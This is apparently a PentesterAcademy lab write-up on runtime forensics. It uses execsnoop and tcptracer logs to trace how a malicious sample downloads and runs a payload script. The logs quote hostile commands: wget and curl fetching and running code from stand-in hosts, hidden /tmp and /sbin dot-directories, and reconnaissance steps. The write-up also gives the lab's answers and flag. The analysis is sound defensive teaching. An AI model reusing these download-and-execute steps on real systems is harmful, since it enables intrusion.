
ATTACK
DEFENSE
by PentesterAcademy

Name	BCC Tools: Combo I
URL	https://attackdefense.com/challengedetails?cid=1120
Type	Linux Runtime Analysis : Profiling Tools

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

Q1. A malicious process had downloaded a payload script into /tmp directory using wget. What is the name of the malicious process?

Answer: random-sample

Command: grep wget execsnoop.logs

```
root@attackdefense:~# grep wget execsnoop.logs
 80173  80171 /bin/sh -c wget -O /tmp/.b1b1d2597a4ff853e0de332dced213b3/.exe http://abc.pqr.xyz.local/payload.sh
 80174  80173 wget -O /tmp/.b1b1d2597a4ff853e0de332dced213b3/.exe http://abc.pqr.xyz.local/payload.sh
root@attackdefense:~#
```

There are two instances where wget has been used. Observe the PID and PPID of both processes. They have a parent-child relationship.

Check the processes initiated by the parent of first process, having PID 80171.

Command: grep 80171 execsnoop.logs

```
root@attackdefense:~# grep 80171 execsnoop.logs
 80171  80164 ./random-sample
 80172  80171 /bin/sh -c mkdir /tmp/.b1b1d2597a4ff853e0de332dced213b3/
 80173  80171 /bin/sh -c wget -O /tmp/.b1b1d2597a4ff853e0de332dced213b3/.exe http://abc.pqr.xyz.local/payload.sh
 80223  80171 /bin/sh -c chmod +x /tmp/.b1b1d2597a4ff853e0de332dced213b3/.exe
 80225  80171 /bin/sh -c /tmp/.b1b1d2597a4ff853e0de332dced213b3/.exe
root@attackdefense:~#
```

Q2. What is the absolute path of the directory where the malicious process had downloaded the payload script?

Answer: /tmp/.b1b1d2597a4ff853e0de332dced213b3

Command: grep 80171 execsnoop.logs

```
root@attackdefense:~# grep 80171 execsnoop.logs
 80171  80164 ./random-sample
 80172  80171 /bin/sh -c mkdir /tmp/.b1b1d2597a4ff853e0de332dced213b3/
 80173  80171 /bin/sh -c wget -O /tmp/.b1b1d2597a4ff853e0de332dced213b3/.exe http://abc.pqr.xyz.local/payload.sh
 80223  80171 /bin/sh -c chmod +x /tmp/.b1b1d2597a4ff853e0de332dced213b3/.exe
 80225  80171 /bin/sh -c /tmp/.b1b1d2597a4ff853e0de332dced213b3/.exe
root@attackdefense:~#
```

Q3. What is the IP address of the remote machine from which the payload script had been downloaded using wget?

Answer: 192.168.36.3

Command: grep wget tcptracer.logs

```
root@attackdefense:~# grep wget tcptracer.logs
C  80174  wget             4  192.168.161.139  192.168.36.3     40864  80
X  80174  wget             4  192.168.161.139  192.168.36.3     40864  80
root@attackdefense:~#
```

Q4. The malicious process passed the execution control to the payload script and terminated itself. The script had retrieved a gzip compressed archive from a remote machine and built a binary from the downloaded source. What is the domain name of the remote machine from which the archive was retrieved?

Answer: xyz.fake-domain.onion

Command: less execsnoop.logs

```
 80226  80225 /tmp/.b1b1d2597a4ff853e0de332dced213b3/.exe
 80227  80226 ls -al
 80228  80226 ps aux
 80229  80226 whoami
 80230  80226 uname -a
 80231  80226 mkdir /tmp/.8fb2de9a69d21e8b5e355cea023ff371/
 80232  80226 curl http://xyz.fake-domain.onion:8000/packages.tar.gz > /tmp/.8fb2de9a69d21e8b5e355cea023ff371
/packages.tar.gz
 80233  80226 tar xzvf /tmp/.8fb2de9a69d21e8b5e355cea023ff371/packages.tar.gz
```

The PID of the executed payload script is 80226.

```
 80226  80225 /tmp/.b1b1d2597a4ff853e0de332dced213b3/.exe
 80227  80226 ls -al
 80228  80226 ps aux
 80229  80226 whoami
 80230  80226 uname -a
 80231  80226 mkdir /tmp/.8fb2de9a69d21e8b5e355cea023ff371/
 80232  80226 curl http://xyz.fake-domain.onion:8000/packages.tar.gz > /tmp/.8fb2de9a69d21e8b5e355cea023ff371
/packages.tar.gz
 80233  80226 tar xzvf /tmp/.8fb2de9a69d21e8b5e355cea023ff371/packages.tar.gz
```

It had one child process that downloaded an archive from 'xyz.fake-domain.onion' using curl.

Q5. The binary built from source is stored in /sbin directory. Provide the full path of the binary.

Answer: /sbin/.3d9d001b2e1cffeb6b2d85098ef56363/.simple-binary

Command: less execsnoop.logs

```
80231  80226 mkdir /tmp/.8fb2de9a69d21e8b5e355cea023ff371/
80232  80226 curl http://xyz.fake-domain.onion:8000/packages.tar.gz > /tmp/.8fb2de9a69d21e8b5e355cea023ff371/packages.tar.gz
80233  80226 tar xzvf /tmp/.8fb2de9a69d21e8b5e355cea023ff371/packages.tar.gz
80234  80233 gzip -d
80235  80226 make
80236  80226 make install
80237  80226 make clean
80238  80226 mv bin/simple-binary /sbin/.3d9d001b2e1cffeb6b2d85098ef56363/.simple-binary
80239  80226 rm -rf /tmp/.8fb2de9a69d21e8b5e355cea023ff371
```

Q6. Retrieve the flag stored in the binary.

Answer: ce859f7b2d82cc7c06eb75b95707708f

Check the file type of the binary.

Command: file /sbin/.3d9d001b2e1cffeb6b2d85098ef56363/.simple-binary

```
root@attackdefense:~# file /sbin/.3d9d001b2e1cffeb6b2d85098ef56363/.simple-binary
/sbin/.3d9d001b2e1cffeb6b2d85098ef56363/.simple-binary: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV
), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=78f1a9545ab7408ff8a664cd5bb99
17522f57450, not stripped
root@attackdefense:~#
```

There are two options:

1. Execute the binary.
2. Use strings command and grep for the flag.

Option 1:

Ensure that the binary is executable.

Command: ls -al /sbin/.3d9d001b2e1cffeb6b2d85098ef56363/.simple-binary

```
root@attackdefense:~# ls -al /sbin/.3d9d001b2e1cffeb6b2d85098ef56363/.simple-binary
-rwxr-xr-x 1 root root 8312 Jun 27 09:56 /sbin/.3d9d001b2e1cffeb6b2d85098ef56363/.simple-binary
root@attackdefense:~#
```

Command: /sbin/.3d9d001b2e1cffeb6b2d85098ef56363/.simple-binary

```
root@attackdefense:~# /sbin/.3d9d001b2e1cffeb6b2d85098ef56363/.simple-binary
FLAG = ce859f7b2d82cc7c06eb75b95707708f
Exploit code:
Contacting Command-and-Control server...
Extracting system info...
root@attackdefense:~#
```

Option 2:

Command: strings /sbin/.3d9d001b2e1cffeb6b2d85098ef56363/.simple-binary | grep -i flag

```
root@attackdefense:~# strings /sbin/.3d9d001b2e1cffeb6b2d85098ef56363/.simple-binary | grep -i flag
FLAG = ce859f7b2d82cc7c06eb75b95707708f
root@attackdefense:~#
```

References:

1. Execsnoop script (https://github.com/iovisor/bcc/blob/master/tools/execsnoop.py)
2. Execsnoop Examples (https://github.com/iovisor/bcc/blob/master/tools/execsnoop_example.txt)
3. Tcptracer script (https://github.com/iovisor/bcc/blob/master/tools/tcptracer.py)
4. Tcptracer Examples (https://github.com/iovisor/bcc/blob/master/tools/tcptracer_example.txt)
5. BCC Tools (https://github.com/iovisor/bcc)